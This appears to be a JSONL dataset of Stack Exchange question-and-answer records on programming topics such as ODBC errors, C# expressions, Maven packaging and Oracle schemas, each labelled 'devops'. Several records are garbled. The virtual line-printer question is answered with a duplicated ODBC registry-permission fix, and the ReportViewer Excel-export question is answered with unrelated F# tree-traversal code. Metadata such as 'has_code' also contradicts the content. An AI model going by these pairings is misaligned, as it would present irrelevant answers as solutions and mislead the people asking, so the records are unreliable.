{"id": "hf_b98df2d35d97", "question": "<p>While connecting .NET to sybase server I got this error message:</p>\n<blockquote>\n<p>[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified</p>\n</blockquote>\n<p>This has worked properly before. System DSN with same details worked and data connection through vs.net also worked.</p>\n<p>I am using VS.NET 2005.</p>\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Perform the following steps:\nStart the Registry Editor by typing\n```\nregedit\n```\nin the Run window.\nSelect the following key in the registry:\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\ODBC\n```\n.\nIn the Security menu, click Permissions.\nGrant Full Permission to the account which is being used for making connections.\nQuit the Registry Editor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.216033"}
{"id": "hf_b5e980eb9073", "question": "<p>Is there any such thing as a virtual Lineprinter.I mean a software emulation of a printer, that outputs to screen.</p>\n\n<p>I have a project to change the output of print job. My past experience with a lineprinter was tedious rounds of</p>\n\n<pre><code>loop:\n   print\n   walk down two flights\n   check the output\n   walk back up two flights\n   edit code\ngot loop:\n</code></pre>\n\n<p>Anyone who thinks a lineprinter can be installed in a programmers office has not used a LinePrinter!</p>\n\n<p>Googles just turning up printer emulation, as in printers that emulate other printers or virtual printer ports!</p>\n", "question_body": "", "answer": "Perform the following steps:\nStart the Registry Editor by typing\n```\nregedit\n```\nin the Run window.\nSelect the following key in the registry:\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\ODBC\n```\n.\nIn the Security menu, click Permissions.\nGrant Full Permission to the account which is being used for making connections.\nQuit the Registry Editor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.240962"}
{"id": "hf_06b5543eeb97", "question": "<p>I've been looking at some Ruby dependency injection libraries.  In particularly, I checked out  <a href=\"http://needle.rubyforge.org/\" rel=\"noreferrer\">Needle</a> and <a href=\"http://copland.rubyforge.org/\" rel=\"noreferrer\">Copland</a>.  They've been around for quite awhile, yet not a lot of usages.  </p>\n\n<p>What are some of the pros and cons of using these two libraries? It sure seems like a lot of libraries / frameworks out there could make good use of these two libraries, e.g. <a href=\"http://github.com/sam/extlib/tree/master/lib/extlib/hook.rb\" rel=\"noreferrer\">Merb / Datamapper's Hook</a>.</p>\n", "question_body": "", "answer": "Jamis Buck, who wrote Copland and Needle,\nposted here\nabout Needle, dependency injection and their usefulness in a Ruby world.\nIt's long but worth reading, but in case you want the single paragraph most relevant to your question, I'd suggest this one, from just before the end:\nDI frameworks are unnecessary. In more\n  rigid environments, they have value.\n  In agile environments like Ruby, not\n  so much. The patterns themselves may\n  still be applicable, but beware of\n  falling into the trap of thinking you\n  need a special tool for everything.\n  Ruby is Play-Doh, remember! Let’s keep\n  it that way.\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.278663"}
{"id": "hf_fe42003fc2a5", "question": "<p>In C# you can use verbatim strings like this:</p>\n\n<pre><code>@\"\\\\server\\share\\file.txt\"\n</code></pre>\n\n<p>Is there something similar in JavaScript?</p>\n", "question_body": "", "answer": "No, there isn't support for that in JavaScript. And that workaround seems very problematic as you now lose the ability to have forward slashes.\nI've run into this issue myself when I needed to build an alert message or something from an ASP.NET back end, and stick it in a JavaScript alert on the front end. The issue was that developers could enter anything in the Page.Alert() method.\nWhat I did to solve this was as follows:\n```\n```\npublic void Alert(string message)\n{\n    message = message.Replace(\"\\\\\", \"\\\\\\\\\")\n        .Replace(\"\\r\\n\", \"\\n\")\n        .Replace(\"\\n\", \"\\\\n\")\n        .Replace(\"\\t\", \"\\\\t\")\n        .Replace(\"\\\"\", \"\\\\\\\"\");\n\n    // and now register my JavaScript with this safe string.\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.304098"}
{"id": "hf_8f8999dcd5bd", "question": "<p>I know you can do it file by file.</p>\n\n<p>Is there any way to do this in one step for all files in a project?</p>\n", "question_body": "", "answer": "Do you mean using statements? First, note that they generally do no harm other that take space.\nTools like\nReSharper\noffer automated tricks to do this, however: there was a\nlink in the VS feed\na little while ago; it boils down to:\ngo to Tools -> Macros -> Macros IDE...\nin the Project Explorer, Add -> Add Module... (put in a name - I've used OrganiseUsings)\npaste over with the code below\nFile -> Save MyMacros, exit\nNow if you right-click on the toolbar and Customize... - you should be able to find MyMacros.OrganiseUsings.RemoveAndSortAll - drag this somewhere handy (maybe the Tools menu; you might also want to change the name after placing it).\nYou can now use this option to run the Remove and Sort command for an entire solution. A big time-saver.\n==== code ====\n```\n```\nImports System\nImports EnvDTE\nImports EnvDTE80\nImports EnvDTE90\nImports System.Diagnostics\n\nPublic Module OrganiseUsings\n\n    Public Sub RemoveAndSortAll()\n        On Error Resume Next\n        Dim sol As Solution = DTE.Solution\n\n        For i As Integer = 1 To sol.Projects.Count    \n            Dim proj As Project = sol.Projects.Item(i)    \n            For j As Integer = 1 To proj.ProjectItems.Count    \n                RemoveAndSortSome(proj.ProjectItems.Item(j))    \n            Next    \n        Next    \n    End Sub    \n\n    Private Sub RemoveAndSortSome(ByVal projectItem As ProjectItem)\n        On Error Resume Next\n        If projectItem.Kind = Constants.vsProjectItemKindPhysicalFile Then    \n            If projectItem.Name.LastIndexOf(\".cs\") = projectItem.Name.Length - 3 Then\n                Dim window As Window = projectItem.Open(Constants.vsViewKindCode)\n\n                window.Activate()\n\n                projectItem.Document.DTE.ExecuteCommand(\"Edit.RemoveAndSort\")\n\n                window.Close(vsSaveChanges.vsSaveChangesYes)\n            End If    \n        End If    \n\n        For i As Integer = 1 To projectItem.ProjectItems.Count    \n            RemoveAndSortSome(projectItem.ProjectItems.Item(i))    \n        Next\n    End Sub   \n\nEnd Module\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.345233"}
{"id": "hf_ef861622b40f", "question": "<p>Suppose I have the following directory layout in a Maven project:</p>\n\n<pre><code>src/\n|-- main\n|   |-- bin\n|   |   |-- run.cmd\n|   |   `-- run.sh\n|   |-- etc\n|   |   |-- common-spring.xml\n|   |   |-- log4j.xml\n|   |   `-- xml-spring.xml\n|   `-- java\n|       `-- com\n...\n</code></pre>\n\n<p>I would like to build a zip file that, when unzipped, produces something like this:</p>\n\n<pre><code>assembly\n|-- bin\n|   |-- run.cmd\n|   `-- run.sh\n|-- etc\n|   |-- common-spring.xml\n|   |-- log4j.xml\n|   `-- xml-spring.xml\n`-- lib\n    |-- dependency1.jar\n    |-- dependency2.jar\n...\n</code></pre>\n\n<p>where `run.xx' are executable shell scripts that will call my main application and <em>put all dependencies on the classpath</em>.</p>\n\n<p>Is this possible with some of the `official' Maven plugins, e.g. maven-assembly-plugin?</p>\n", "question_body": "", "answer": "I use the\nAppAssembler plugin\nto get something similar. Example:\n```\n```\n...\n<build>\n<plugins>\n  <plugin>\n    <groupId>org.codehaus.mojo</groupId>\n    <artifactId>appassembler-maven-plugin</artifactId>\n    <configuration>\n      <programs>\n        <program>\n          <mainClass>com.acme.MainClass</mainClass>\n          <name>app</name>\n        </program>\n      </programs>\n    </configuration>\n  </plugin>\n</plugins>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.381229"}
{"id": "hf_cb91b9ab4a91", "question": "<p>How can I build a native Mac OS X installer for my application, on a non-Mac platform?</p>\n\n<p>For example, I have a windows pc and a Java application. I want the windows pc to build an installer (possibly inside a .dmg archive) that works with Apple installer.</p>\n", "question_body": "", "answer": "So, a couple of quick questions.\nFirst, why do you want an installer? Most Mac users prefer apps that are just drag installed. If you are not writing Mac OS X specific code it is hard to imagine you need to place bits in special places, like Application Support or LaunchDaemons. Assuming everything you have just goes in one folder why bother with an installer at all?\nSecond, why would it be a problem to build the Mac installer on a Mac? Surely you have a macintosh around to test the app (you are not just blindly shipping it for Mac without testing it on a Mac, right?).\nOkay, having said that, assuming you still have a good reason to actually build this on a PC, there are some bits that are not going to be easy. Basically a .pkg is a bunch of text scripts, localizations, an archive file (Archive.pax.gz), and a bill of materials (Archive.bom).\nAssuming not much changes between builds, you can make the installer on a Mac, and then just rebuild the bom and the pax.gz, replace them into the existing .pkg, and batch a few pieces of metadata. The pax should be easy enough to deal with (pax is a standard archive format), but the bom file may prove a bit trickier, since I do not believe it is publicly documented, and I doubt the tools for creating them (mkbom) are part of darwin (not opensource). So you are going to need to figure that out and write a custom tool to create the bom file.\nIn other words, this is likely to be a large amount of work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.405173"}
{"id": "hf_bc6e2db78698", "question": "<p>I just can't remember the terminology used for this and other related properties.</p>\n\n<p>EDIT - Maybe such a concept doesn't exist but I remember reading something in Effective C++ (or More Effective C++) where he advocated using swaps to commit changes last in the function because the vector swap functions were guaranteed not to throw an exception.</p>\n", "question_body": "", "answer": "I think you mean to say that the function is \"exception-safe\". See e.g.\nhttp://en.wikipedia.org/wiki/Exception_safety\n.\nThe Wikipedia article further divides the safety into various levels. This is the one that is relevant here:\n2. Commit or rollback semantics, also known as strong exception safety or no-change guarantee: Operations can fail, but failed operations are guaranteed to have no side effects so all data retain original values.\nThere's a reference to an STL design document that introduces exception safety and commit-or-rollback semantics:\nhttp://www.open-std.org/jtc1/sc22/wg21/docs/papers/1997/N1077.asc", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.452923"}
{"id": "hf_9bdfd2d9c130", "question": "<p>Should I use the <code>change</code> or <code>textInput</code> event to capture user input on a TextInput control? Why?</p>\n", "question_body": "", "answer": "```\ntextInput\n```\nis dispatched only when the user has\ninput\ntext into the control.\n```\nchange\n```\n, on the other hand, is dispatched on every change committed by the user. So for example, if the user deletes a part of the text, only the\n```\nchange\n```\nevent is dispatched.\nNeither of these is dispatched when the text is modified via code:\n```\nflash.events.TextEvent.TEXT_INPUT\n```\n:\n\"Dispatched when\nthe user\ntypes, deletes, or pastes text into the\n  control.\"\n(ignore the word \"delete\" there -- I just tried it and this event is\nnot\ndispatched when text is deleted by the user)\n```\nflash.events.Event.CHANGE\n```\n:\n\"Dispatched when text in the TextInput control changes through user\n  input.\nThis event does not occur if\n  you use data binding or ActionScript\n  code to change the text\n.\"\nYou can also use the\n```\nvalueCommit\n```\nevent, which is dispatched when the user \"commits\" the changes (usually by moving the focus away from the text field), but remember that this event is also dispatched when the field value is changed programmatically.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.501275"}
{"id": "hf_95a21fad87f7", "question": "<p>We just shifted from VB to C# and I am having some troubles..!</p>\n\n<p>Why can't I create a private static const void?? </p>\n\n<p>why is it not working?</p>\n\n<pre><code> private static const void MyVoid(void void)\n { \n   try\n   {\n      this.void void = new void(void + void);\n      return this.void;\n   }\n   catch (void)\n   {\n      Response.Write(void);\n   }\n }\n</code></pre>\n", "question_body": "", "answer": "```\nvoid\n```\nis the return type of\n\"there is no return type\"\n. It is not a type in itself (as in\n```\nint\n```\n,\n```\nbool\n```\netc.), but rather specifies it returns nothing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.538275"}
{"id": "hf_7c92f078d3f9", "question": "<p>This line:</p>\n\n<pre><code>strcat(query,*it);\n</code></pre>\n\n<p>(where <code>*it</code> is an iterator to a string)</p>\n\n<p>Keeps giving me this error:</p>\n\n<blockquote>\n  <p>no matching function for call to ``strcat(char[200], const std::basic_string, std::allocator >&amp;)`' </p>\n</blockquote>\n\n<p>I guess it's because <code>strcat</code> takes in a <code>char*</code> while <code>*it</code> is a string.\nHow do I convert it from a string to a <code>char*</code> to make it work with <code>strcat()</code> ?</p>\n\n<p>I've tried <code>strcat(query,(*it).c_str())</code> but that just gives me a runtime error.</p>\n\n<p>Edit: sorry, it should be converted to a <code>const char*</code></p>\n", "question_body": "", "answer": "```\nstrcat(query,(*it).c_str())\n```\nshould work. What's the runtime error? Are you sure that\n```\nquery\n```\nis null-terminated before you make the call?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.574571"}
{"id": "hf_58a5f723bab5", "question": "<p>Given a method signature:</p>\n\n<pre><code>public bool AreTheSame&lt;T&gt;(Expression&lt;Func&lt;T, object&gt;&gt; exp1, Expression&lt;Func&lt;T, object&gt;&gt; exp2)\n</code></pre>\n\n<p>What would be the most efficient way to say if the two expressions are the same? This only needs to work for simple expressions, by this I mean all that would be \"supported\" would be simple MemberExpressions, eg c => c.ID.</p>\n\n<p>An example call might be:</p>\n\n<pre><code>AreTheSame&lt;User&gt;(u1 =&gt; u1.ID, u2 =&gt; u2.ID); --&gt; would return true\n</code></pre>\n", "question_body": "", "answer": "Hmmm... I guess you'd have to parse the tree, checking the node-type and member of each. I'll knock up an example...\n```\n```\nusing System;\nusing System.Linq.Expressions;\nclass Test {\n    public string Foo { get; set; }\n    public string Bar { get; set; }\n    static void Main()\n    {\n        bool test1 = FuncTest<Test>.FuncEqual(x => x.Bar, y => y.Bar),\n            test2 = FuncTest<Test>.FuncEqual(x => x.Foo, y => y.Bar);\n    }\n\n}\n// this only exists to make it easier to call, i.e. so that I can use FuncTest<T> with\n// generic-type-inference; if you use the doubly-generic method, you need to specify\n// both arguments, which is a pain...\nstatic class FuncTest<TSource>\n{\n    public static bool FuncEqual<TValue>(\n        Expression<Func<TSource, TValue>> x,\n        Expression<Func<TSource, TValue>> y)\n    {\n        return FuncTest.FuncEqual<TSource, TValue>(x, y);\n    }\n}\nstatic class FuncTest {\n    public static bool FuncEqual<TSource, TValue>(\n        Expression<Func<TSource,TValue>> x,\n        Expression<Func<TSource,TValue>> y)\n    {\n        return ExpressionEqual(x, y);\n    }\n    private static bool ExpressionEqual(Expression x, Expression y)\n    {\n        // deal with the simple cases first...\n        if (ReferenceEquals(x, y)) return true;\n        if (x == null || y == null) return false;\n        if (   x.NodeType != y.NodeType\n            || x.Type != y.Type ) return false;\n\n        switch (x.NodeType)\n        {\n            case ExpressionType.Lambda:\n                return ExpressionEqual(((LambdaExpression)x).Body, ((LambdaExpression)y).Body);\n            case ExpressionType.MemberAccess:\n                MemberExpression mex = (MemberExpression)x, mey = (MemberExpression)y;\n                return mex.Member == mey.Member; // should really test down-stream expression\n            default:\n                throw new NotImplementedException(x.NodeType.ToString());\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.597779"}
{"id": "hf_4a4d2395bece", "question": "<p>I'm using the ReportViewer control to display a Report within a WebForm, i've also implemented the \"Export to Excel\" feature, by calling the Render method of the Server Report</p>\n\n<p>eg</p>\n\n<pre><code>ReportViewerControl.ServerReport.Render(\"Excel\",etc,etc,etc);\n</code></pre>\n\n<p>My problem is that the exported report contains Hyperlinks that link to other reports, I wish these to appear in the webform but not appear hence be disabled in the Exported Spreadsheet (generated by the Code above).</p>\n\n<p>Does anyone have a way of achieving this?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "regarding your question about list traversal - you can start by writing a function that returns lists that represent the path - that's I think easier and it will be later easy to turn it into a function that returns a number.\nThis one takes a list as the first argument (path so far) and a tree and returns a list> type - that is all the possible paths from the current branch.\n```\n```\nlet rec visitor lst tree = \n  match tree with\n  | Branch(n, sub) -> List.collect (visitor (n::lst)) sub\n  | Leaf(n) -> [List.rev (n::lst)]\n\n// For example...\n> let tr = Branch(1, [Leaf(3); Branch(2, [Leaf(4); Leaf(5)] )]);;\n> visitor [] tr;;\nval it : int list list = [[1; 3]; [1; 2; 4]; [1; 2; 5]]\n```\n```\nIn the 'Leaf' case, we simply add the current number to the list and return the result as a list containing single list (we have to reverse it first, because we were adding numbers to the beginning).\nIn the 'Branch' case, we add 'n' to the list and recursively call the visitor to process all the sub-nodes of the current branch. This returns a bunch of lists and we use 'map_concat' to turn them into a single list that contains all posble paths from the current branch.\nNow, you can rewrite this to return a list of integers:\n```\n```\nlet rec visitor2 lst tree = \n  match tree with\n  | Branch(n, sub) -> List.collect (visitor2 (lst * 10 + n)) sub\n  | Leaf(n) -> [lst * 10 + n]\n\n// For example...  \n> visitor2 0 tr;;\nval it : int list = [13; 124; 125]\n```\n```\nInstead of concatenating lists, we now calculate the number.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.682622"}
{"id": "hf_25d0374b326c", "question": "<p>is there a way to change an oracle user's default schema?</p>\n\n<p>I found it in the FAQ that I can alter it in the session, but it's not what I want. E.G. the user at log on always sees another schema as default.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "I believe a logon trigger should work:\n```\n```\nCREATE OR REPLACE TRIGGER db_logon\nAFTER logon ON DATABASE WHEN (USER = 'A')\nBEGIN\n    execute immediate 'ALTER SESSION SET CURRENT_SCHEMA = B';\nEND;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.707682"}
{"id": "hf_d05e3a44dba1", "question": "<p>I have an website. When the user is logged the session details will loaded.\nWhen the user logged out the session details will abandoned. (Log out by clicking the logout menu)\nwhen the user simply closes the browser then how to destroy the session.</p>\n\n<p>In the next time its get logging with the same session data. I need to avoid this.</p>\n", "question_body": "", "answer": "You could configure your sessions to time out quicker.\nIn web.config:\n```\n```\n< sessionState ... timeout=\"5\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.732347"}
{"id": "hf_bdc94b51dd82", "question": "<p>Currently, my Objective C classes use C++ objects by doing a <code>new</code> when the owner is created, and calling <code>delete</code> when it is destroyed. But is there another way? I'd like to be able to declare, say, an <code>auto_ptr</code> whose scope lasts the duration of the Objective C class' lifetime.</p>\n", "question_body": "", "answer": "Ok, let me assume you are using C++ and Objective-C on a Mac, if I'm right you are likely using X-code. So if you go to the properties (info) of your project. You can check the compile options (GCC's). In there, there is an option to enable C++ constructors/destructors (which is turned off by default in Cocoa projects).\nThen you get default-like C++ scoping, however I haven't used it much and I've had problems with heavily template code (Boost).\nAlso I don't think anyone officially supports this besides some good souls working on GCC. So I'd recommend that you unit test anything like this, and keep note that anything could go wrong.\nNevertheless being able to use C++ in objective-C, for me as a C++ person, is a relief and the risks are worth the benefits :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.756672"}
{"id": "hf_b57fa996c965", "question": "<p>I have quite a large list of words in a txt file and I'm trying to do a regex find and replace in Notepad++. I need to add a string before each line and after each line.. So that:</p>\n\n<pre>\nwordone\nwordtwo\nwordthree\n</pre>\n\n<p>become</p>\n\n<pre>\nable:\"wordone\"\nable:\"wordtwo\"\nable:\"wordthree\"\n</pre>\n\n<p>How can I do this?</p>\n", "question_body": "", "answer": "Assuming alphanumeric words, you can use:\n```\n```\nSearch  = ^([A-Za-z0-9]+)$\nReplace = able:\"\\1\"\n```\n```\nOr, if you just want to highlight the lines and use \"Replace All\" & \"In Selection\" (with the same replace):\n```\n```\nSearch = ^(.+)$\n```\n```\n```\n^\n```\npoints to the start of the line.\n```\n$\n```\npoints to the end of the line.\n```\n\\1\n```\nwill be the source match within the parentheses.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.792014"}
{"id": "hf_cb4bc32ebe0d", "question": "<p>I followed the commonly-linked tip for reducing an application to the system tray : <a href=\"http://www.developer.com/net/csharp/article.php/3336751\" rel=\"noreferrer\">http://www.developer.com/net/csharp/article.php/3336751</a> Now it works, but there is still a problem : my application is shown when it starts ; I want it to start directly in the systray. I tried to minimize and hide it in the Load event, but it does nothing.</p>\n\n<p>Edit : I could, as a poster suggested, modify the shortcut properties, but I'd rather use code : I don't have complete control over every computer the soft is installed on.</p>\n\n<p>I don't want to remove it completely from everywhere except the systray, I just want it to start minimized.</p>\n\n<p>Any ideas ?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "If you are using a\n```\nNotifyIcon\n```\n, try changing ShowInTaskbar to false.\nTo remove it from the Alt+Tab screen, try changing your window border style; I believe some of the tool-window styles don't appear...\nsomething like:\n```\n```\nusing System;\nusing System.Windows.Forms;\nclass MyForm : Form\n{\n    NotifyIcon sysTray;\n\n    MyForm()\n    {\n        sysTray = new NotifyIcon();\n        sysTray.Icon = System.Drawing.SystemIcons.Asterisk;\n        sysTray.Visible = true;\n        sysTray.Text = \"Hi there\";\n        sysTray.MouseClick += delegate { MessageBox.Show(\"Boo!\"); };\n\n        ShowInTaskbar = false;\n        FormBorderStyle = FormBorderStyle.SizableToolWindow;\n        Opacity = 0;\n        WindowState = FormWindowState.Minimized;\n    }\n\n    [STAThread]\n    static void Main()\n    {\n        Application.EnableVisualStyles();\n        Application.Run(new MyForm());\n    }\n}\n```\n```\nIf it still appears in the Alt+Tab, you can change the window styles through p/invoke (a bit hackier):\n```\n```\nprotected override void OnLoad(EventArgs e)\n{\n    base.OnLoad(e);\n    IntPtr handle = this.Handle;\n    int currentStyle = GetWindowLong(handle, GWL_EXSTYLE);\n    SetWindowLong(handle, GWL_EXSTYLE, currentStyle | WS_EX_TOOLWINDOW);\n}\nprivate const int GWL_EXSTYLE = -20, WS_EX_TOOLWINDOW = 0x00000080;\n[System.Runtime.InteropServices.DllImport(\"user32.dll\")]\nprivate static extern int SetWindowLong(IntPtr window, int index, int value);\n[System.Runtime.InteropServices.DllImport(\"user32.dll\")]\nprivate static extern int GetWindowLong(IntPtr window, int index);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.811751"}
{"id": "hf_fa206754fc20", "question": "<p>We need to set up a secure certificate on an Apache reverse proxy.\nWe've been advised that we need to use a virtual host directive.</p>\n\n<p>I've looked these up in the O'Reilly book bit can't find any examples that pick up https specifically.</p>\n\n<p>Does anyone have any examples of config snippets to do this?</p>\n", "question_body": "", "answer": "Not sure if this is what you're after, but I used something like the following in the past:\n```\n```\n<IfModule mod_ssl.c>\n    SSLProxyEngine On\n    ProxyPreserveHost On\n    RewriteRule ^/whatever(.*)$       https://otherhost/whatever$1  [P]\n</IfModule>\n```\n```\nI needed to proxy secure content from another host, and that's what we ended up using. Works fine, and has for some time now. Does that sort of cover what you're looking for?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.833053"}
{"id": "hf_07e122e9a34f", "question": "<p>Can I utilise the new functionality provided by the new JavaFX APIs directly from Java to the same extent as I would be able to using JavaFX Script?</p>\n\n<p>Are all the underlying JavaFX APIs purely Java or JavaFX Script or a mix?</p>\n", "question_body": "", "answer": "The JavaFX APIs are a mix of JavaFX and Java. The SDK comes with an archive src.zip which contains a part of the APIs (only the most basic classes are included, but things like javafx.scene are missing).\nCalling JavaFX code from Java is not officially supported in JavaFX 1.x AFAIK. There's a\nblog entry in the JavaFX blog\nthat shows you how to do anyway it using unsupported APIs, but it's complicated and won't work this way in future versions.\nThere are two supported ways to use JavaFX from Java. Either you use the Scripting API to invoke JavaFX code, as shown in\nthis article\n. Or, which is the most elegant solution IMHO, write the API-accessing code using JavaFX, define Java interfaces to interact with your JavaFX code from plain Java, and then implement those interfaces in JavaFX.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.852652"}
{"id": "hf_092594016ecd", "question": "<p>I have a python list, say l</p>\n\n<pre><code>l = [1,5,8]\n</code></pre>\n\n<p>I want to write a sql query to get the data for all the elements of the list, say</p>\n\n<pre><code>select name from students where id = |IN THE LIST l|\n</code></pre>\n\n<p>How do I accomplish this?</p>\n", "question_body": "", "answer": "string.join\nthe list values separated by commas, and use the\nformat operator\nto form a query string.\n```\n```\nmyquery = \"select name from studens where id in (%s)\" % \",\".join(map(str,mylist))\n```\n```\n(Thanks,\nblair-conrad\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.874507"}
{"id": "hf_950f548a25c3", "question": "<p>I have just converted a project from Visual Studio 2003 to 2005 and although most of it 'converted' fine, I have a series of STL errors from the following line:</p>\n\n<pre><code>void SomeFn( std::vector&lt;CSomeObject*&gt;::iterator it,\nstd::vector&lt;CSomeObject*&gt;::iterator itBegin = NULL,\nstd::vector&lt;CSomeObject*&gt;::iterator itEnd = NULL );\n</code></pre>\n\n<p>The Visual Studio error is as follows:</p>\n\n<pre><code>c:\\&lt;path&gt;\\Headerfile.h(20) : error C2440: 'default argument' : cannot convert from 'int' to 'std::_Vector_iterator&lt;_Ty,_Alloc&gt;'\n        with\n        [\n            _Ty=CObject *,\n            _Alloc=std::allocator&lt;CObject *&gt;\n        ]\n        No constructor could take the source type, or constructor overload resolution was ambiguous\n</code></pre>\n\n<p>I can't see anything wrong with that code and it worked perfectly in VS 2003. Any ideas?</p>\n", "question_body": "", "answer": "In 2003,\n```\nstd::vector<T>::iterator\n```\nis just\n```\nT *\n```\n. In 2005, at least in debug mode, it is a class, and hence you can't use\n```\nNULL\n```\nfor its value (\n```\nNULL\n```\nresolves to\n```\n0\n```\n).\nYou can use a default-constructed iterator instead:\n```\n```\nstd::vector<CSomeObject*>::iterator itBegin = std::vector<CSomeObject*>::iterator()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.898188"}
